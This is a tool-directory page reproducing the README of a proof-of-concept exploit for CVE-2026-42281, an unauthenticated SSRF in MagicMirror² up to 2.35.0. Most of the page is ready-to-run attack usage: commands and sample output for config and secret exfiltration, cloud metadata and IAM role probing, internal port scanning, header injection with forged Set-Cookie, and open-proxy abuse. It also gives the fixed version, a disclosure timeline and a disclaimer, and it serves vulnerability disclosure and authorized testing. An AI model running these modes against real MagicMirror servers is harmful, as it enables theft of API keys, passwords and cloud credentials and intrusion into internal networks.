Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-42281 — Proof-of-concept exploit for CVE-2026-42281, an unauthenticated SSRF in MagicMirror² ≤ 2.35.0, enabling config exfiltration, cloud metadata probing, and internal network scanning. | Kitploit
Tools/GitHubGitHub/astaruf/cve-2026-42281
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingRed Teaming
GitHubastaruf/cve-2026-42281

CVE-2026-42281

Proof-of-concept exploit for CVE-2026-42281, an unauthenticated SSRF in MagicMirror² ≤ 2.35.0, enabling config exfiltration, cloud metadata probing, and internal network scanning.

View Repository
14 months agoNot yet reviewed
Website

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-42281: MagicMirror² ≤ 2.35.0 - Unauthenticated SSRF via /cors endpoint

Discovered & reported by: Astaruf

Full writeup: https://nstsec.com/en/posts/magicmirror-ssrf-cve-2026-42281/

Upstream advisory: MagicMirrorOrg/MagicMirror security advisories

NVD entry:
https://nvd.nist.gov/vuln/detail/CVE-2026-42281

This repository hosts the proof-of-concept exploit for CVE-2026-42281, an unauthenticated SSRF in MagicMirror² ≤ 2.35.0 that turns the /cors endpoint into a fully functional SSRF proxy reaching loopback, internal networks, and cloud metadata services. With hideConfigSecrets: true, the same endpoint also exfiltrates process.env.SECRET_* values in a single request.

For the complete code review, vulnerability analysis, fix breakdown, CVSS dispute and timeline, see the full writeup on nstsec.com. This README focuses on how to use the PoC.

Proof of Concept

Requirements

  • Python 3.8+
  • No external dependencies (uses standard library only)

Quick Start

root@kitploit:~
# 1. Verify the target is vulnerable
python3 poc.py -t http://target:8080 --check

# 2. Exfiltrate the application config (with automatic secret discovery)
python3 poc.py -t http://target:8080 --config

# 3. Probe cloud metadata services on 10+ providers
python3 poc.py -t http://target:8080 --cloud

# 4. Internal network port scan via SSRF
python3 poc.py -t http://target:8080 --port-scan 10.0.0.1,10.0.0.2 -p 22,80,443,3306,6379

# 5. Demonstrate inbound/outbound header abuse
python3 poc.py -t http://target:8080 --headers

# 6. Use the server as a generic open proxy
python3 poc.py -t http://target:8080 --open-proxy https://internal.corp/api

Attack Modes

FlagDescription
--checkVerify SSRF is exploitable via loopback fetch of /version
--configSSRF /config over loopback, parse JSON, hunt for API keys / tokens / passwords in module configs
--cloudProbe metadata services across AWS, GCP, Azure, OCI, DigitalOcean, Alibaba, Hetzner, IBM, Kubernetes, Rancher, Equinix; auto-follow AWS IAM role enumeration
--port-scan HOSTSScan one or more hosts (-p 22,80 / -p 0-1024 / -p - for all 65535 ports), threaded
--headersPart A: inject Authorization/X-* headers into the outbound request via sendheaders. Part B: forward attacker-controlled Set-Cookie from a malicious origin to the victim browser via expectedheaders
--open-proxy URLGeneric SSRF GET to any URL, prints the response body (useful for exploring internal HTTP APIs)

Additional Options

OptionDefaultDescription
-t / --targetrequiredTarget URL, e.g. http://192.168.1.10:8080
--timeout2.0Per-request timeout in seconds
--threads30Threads for --port-scan
--verboseoffPrint full JSON responses (and unredacted cloud-metadata bodies)

Demo

1. PoC banner and --check mode confirming SSRF:

root@kitploit:~
$ python3 poc.py -t http://127.0.0.1:8080 --check

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██████╗   ██████╗   █████╗   ██╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ╚════██╗  ╚════██╗  ██╔══██╗ ███║
██║     ██║   ██║█████╗   -2026- ███████║  █████╔╝   █████╔╝  ╚█████╔╝ ╚██║
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║ ██╔═══╝   ██╔═══╝   ██╔══██╗  ██║
╚██████╗ ╚████╔╝ ███████╗             ██║ ███████╗  ███████╗  ╚█████╔╝  ██║
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝ ╚══════╝  ╚══════╝   ╚════╝   ╚═╝

  MagicMirror² <= v2.35.0 — Unauthenticated SSRF via /cors endpoint
  Author: Astaruf | https://nstsec.com

  CHECK, Target reachability and SSRF confirmation
  [*] Verifying target reachability ...
  [+] Target reachable, MagicMirror 2.35.0
  [*] Confirming SSRF via loopback ...
      >> GET http://127.0.0.1:8080/cors?url=http://127.0.0.1:8080/version
  [+] SSRF CONFIRMED, server fetched internal resource on our behalf
      << 2.35.0

2. --config exfiltrates the application config and auto-discovers secrets in module configs:

root@kitploit:~
  CONFIG EXFILTRATION, Full config via SSRF loopback
  [+] Config retrieved, 1194 bytes
  [*] address    : 0.0.0.0
  [*] port       : 8080
  [*] ipWhitelist: [] open to all IPs

  SECRETS FOUND:
    [weather]  apiKey                       = ow_demo_api_key_d34db33fc4f3b4b3
    [calendar] calendars[0].auth.pass       = S3cretCalendarPa$$word!
    [newsfeed] accessToken                  = sk-newsfeed-bearer-T0kEn-xyz789

3. --headers confirms outbound injection and inbound forwarding:

root@kitploit:~
  HEADER INJECTION, Outbound and inbound header abuse
  [*] Part A: injecting arbitrary headers into outbound requests via sendheaders
  [+] Header X-Injected-By: SSRF-PoC confirmed in outbound request
  [+] Header Authorization: Bearer DEMO_TOKEN confirmed in outbound request

  [*] Part B: forwarding response headers to the browser via expectedheaders
  [+] Response header Set-Cookie forwarded to browser: session=hijacked;HttpOnly
  [+] Browser receives this cookie as if it originated from the MagicMirror domain

4. --open-proxy confirms outbound HTTP from the server:

root@kitploit:~
  OPEN PROXY, Fetching https://httpbin.org/ip via vulnerable server
  [+] HTTP 200, 32 bytes received from server

{
  "origin": "<server's public IP, not the attacker's>"
}

Notes for testing

  • The --check (and every other mode) sends an SSRF loopback to http://127.0.0.1:<port>/version. When testing through Docker, make sure the host port matches the in-container port (e.g. map 8080:8080, not 8081:8080), otherwise the loopback target won't resolve from inside the container even if the instance is genuinely vulnerable.
  • --cloud against a non-cloud instance (Raspberry Pi, bare metal) produces no hits — this is expected and the script reports it explicitly. The vector exists; testing it requires a real cloud deployment.

Fix

Shipped in MagicMirror² v2.36.0 (released April 30, 2026). The fix is layered across six PRs (#4084, #4087, #4090, #4091, #4102, #4104). See the full writeup for the per-PR breakdown, code snippets, and the verification matrix of bypass attempts re-tested against the patched version.

Timeline

DateEvent
2026-03-30Vulnerability discovered, public issue opened, email sent to maintainer
2026-03-31Maintainer acknowledged the report
2026-04-01Maintainers added SECURITY.md and enabled GitHub Security Advisories on the repo
2026-04-09Formal GHSA advisory opened
2026-04-26Fix confirmed for next release. CVE-2026-42281 assigned by GitHub
2026-04-26CVSS dispute — vector raised from Moderate to 9.2 Critical (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N)
2026-04-30MagicMirror² v2.36.0 released, fix shipped publicly
2026-05-04Public disclosure (writeup + PoC repository)

References

  • Full writeup — nstsec.com
  • CVE-2026-42281 — NVD
  • MagicMirror² official repository
  • MagicMirror² v2.36.0 release notes
  • CWE-918: Server-Side Request Forgery
  • OWASP — Server Side Request Forgery

Disclaimer

This material is provided for authorized security testing and educational purposes only. Use it only against MagicMirror² instances you own or have explicit written permission to test. Unauthorized access to computer systems is illegal. The author assumes no liability for misuse.

License

MIT

Download Tool